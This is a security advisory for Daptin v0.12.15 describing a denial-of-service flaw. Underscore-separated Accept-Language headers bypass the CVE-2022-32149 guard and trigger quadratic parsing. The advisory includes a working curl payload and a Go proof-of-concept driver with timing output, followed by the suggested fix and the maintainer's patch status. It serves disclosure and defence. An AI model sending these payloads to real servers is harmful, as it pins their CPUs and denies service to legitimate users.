Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware

### Summary Daptin's `LanguageMiddleware` (registered as a global gin middleware) calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds. ### Affected versions `github.com/daptin/daptin` v0.12.15 and (per code inspection of `master`) all earlier 0.12.x versions that wire `LanguageMiddleware` on the global gin router without imposing their own size limit on `Accept-Language`. Verified on: - the official release binary `daptin-linux-amd64` v0.12.15 built into a Docker image from the project's own `Dockerfile` (E2E below) - `master` at commit `b021ac4ae1f72b7401e851fcf883bc970303c794` by reading `server/language.go` (the middleware is unchanged) ### Privilege required Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated `/api` style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope. ### Vulnerable code [`server/language.go`](https://github.com/daptin/daptin/blob/b021ac4ae1f72b7401e851fcf883bc970303c794/server/language.go) (blob SHA `b021ac4ae1f72b7401e851fcf883bc970303c794`): ```go func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) { pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage) c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref)) } func GetLanguagePreference(header string, defaultLanguage string) []string { preferredLanguage := header if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" { preferredLanguage = defaultLanguage } languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage) resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage) pref := make([]string, 0) prefMap := make(map[string]bool) if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage { // single tag matches default — skip } else { for _, tag := range languageTags { base, conf := tag.Base() if conf == 0 { continue } if prefMap[base.String()] == true { continue } prefMap[base.String()] = true pref = append(pref, base.String()) } } return pref } ``` `c.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. The `resource.CheckErr` call on the error path also formats the entire input string into a log line (`Failed to parse Accept-Language header [%v]`), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads. CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 256 KiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. ### How `Accept-Language` reaches `ParseAcceptLanguage` Every HTTP request that hits the Daptin API server passes through `LanguageMiddleware` (registered as a global gin middleware). The middleware sequence is: 1. The request enters `LanguageMiddlewareFunc`. 2. `c.GetHeader("Accept-Language")` returns the full attacker-supplied header value. 3. `GetLanguagePreference(header, defaultLanguage)` is called. 4. The function passes the unfiltered header into `language.ParseAcceptLanguage(preferredLanguage)`. No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at `/` and the public API root at `/api`. ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile: ```bash # Build daptin image (uses prebuilt linux/amd64 release binary) cd daptin curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64 chmod +x daptin-linux-amd64 docker build --platform linux/amd64 -t daptin-poc:v0.12.15 . # Start it docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15 sleep 8 # wait for sqlite migrations + Olric ring # Attack with a 256 KiB header (smaller than the default 1 MiB ceiling # because daptin's per-request cost saturates well below 1 MiB) PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:18888/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `daptin-linux-amd64` v0.12.15) A Go driver `poc.go` boots the container, sends a 256 KiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:18888/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <= targetBytes { b.WriteString(sep) b.WriteString(tok) } return b.String() } func send(label, header string) { client := &http.Client{ Timeout: 120 * time.Second, Transport: &http.Transport{ DisableKeepAlives: true, DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext, }, } req, _ := http.NewRequest("GET", targetURL, nil) if header != "" { req.Header.Set("Accept-Language", header) } t0 := time.Now() resp, err := client.Do(req) dt := time.Since(t0) if err != nil { fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err) return } _, _ = io.Copy(io.Discard, resp.Body) resp.Body.Close() fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n", label, len(header), strings.Count(header, "_"), strings.Count(header, "-"), resp.StatusCode, dt) } func main() { send("warm-up", "") send("baseline (no header)", "") send("baseline (1 short tag)", "en-US") send("guard-fires ('-' x 256KiB)", buildPayload("-", 256*1024)) send("attack ('_' x 256KiB)", buildPayload("_", 256*1024)) send("attack repeat 2", buildPayload("_", 256*1024)) send("attack repeat 3", buildPayload("_", 256*1024)) } ``` Captured run output (Apple M1 Pro, darwin/arm64 host, daptin amd64 binary v0.12.15 running under Docker Desktop with QEMU x86_64 emulation): ``` E2E: golang/x/text ParseAcceptLanguage '_' bypass through daptin/daptin v0.12.15 LanguageMiddleware at server/language.go. Target: http://127.0.0.1:18888/ payload=262144 B warm-up header=0 B '_'=0 '-'=0 status=200 t=19.968ms --- measurements (single request each) --- baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=25.924208ms baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=28.398333ms guard-fires control ('-' x 256KiB) header=262142 B '_'=0 '-'=26214 status=200 t=105.506458ms attack ('_' x 256KiB) header=262142 B '_'=26214 '-'=0 status=200 t=26.679448875s attack repeat 2 header=262142 B '_'=26214 '-'=0 status=200 t=18.012964208s attack repeat 3 header=262142 B '_'=26214 '-'=0 status=200 t=8.868606042s ``` A separate run with a 1 MiB payload exceeded the 2-minute client timeout on the attack request, confirming that the cost scales beyond 120 s per request at 1 MiB. Interpretation: | Request | Header bytes | Server time | |------------------------------------------|--------------|-------------| | no header / short tag | 0 - 5 | 26 - 28 ms | | 256 KiB `-` separators (CVE-2022-32149 guard fires) | 256 KiB | 106 ms | | 256 KiB `_` separators (guard bypassed) | 256 KiB | 9 - 27 s | | 1 MiB `_` separators (guard bypassed) | 1 MiB | > 120 s | The `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 256 KiB `-` payload returns in 106 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 200 from the same endpoint but consumes 9-27 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~85-250x on the 256 KiB payload and >1000x on a 1 MiB payload. The amplification is higher than other consumers of `ParseAcceptLanguage` because Daptin formats the entire input into a log line via `resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage)` when parsing fails, and runs additional bookkeeping in `GetLanguagePreference` (a `prefMap` deduplication loop over the resulting tag slice). ### Impact - One unauthenticated client can pin one CPU core for ~9-27 seconds per 256 KiB request, or for at least 120 seconds per 1 MiB request. - A single attacker on a 1 Mbit/s uplink can sustain ~1 attack request every 30 seconds, pinning one server core continuously with one TCP connection. - A small number of concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Daptin instance indefinitely. - The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards. ### Suggested fix Apply the size / character-class filter inside `LanguageMiddleware` (and inside `GetLanguagePreference` for defence in depth) before reaching `language.ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling: ```go // server/language.go const maxAcceptLanguageSeparators = 32 // real browsers send < 10 func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) { header := c.GetHeader("Accept-Language") if strings.Count(header, "-")+strings.Count(header, "_") > maxAcceptLanguageSeparators { // Refuse to call into the BCP 47 parser with absurd input. header = "" } pref := GetLanguagePreference(header, lm.defaultLanguage) c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref)) } ``` A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible. The underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input. ### Credit Reported by tonghuaroot. ### Fix PR https://github.com/daptin/daptin-ghsa-rhj7-vh3v-mcq6/pull/1 ### Maintainer fix status Fixed on `master` in commit `2d709509 Harden Accept-Language parsing`. The fix caps combined `-` and `_` separators in `Accept-Language` before calling `language.ParseAcceptLanguage`, both in `LanguageMiddlewareFunc` and in `GetLanguagePreference` for defence in depth. Regression coverage was added in `server/language_test.go` for normal browser headers, a 256 KiB underscore-separated malformed header, and combined separator counting. Verification run: ```bash go test ./server -count=1 ``` Result: passed.

CWE: CWE-400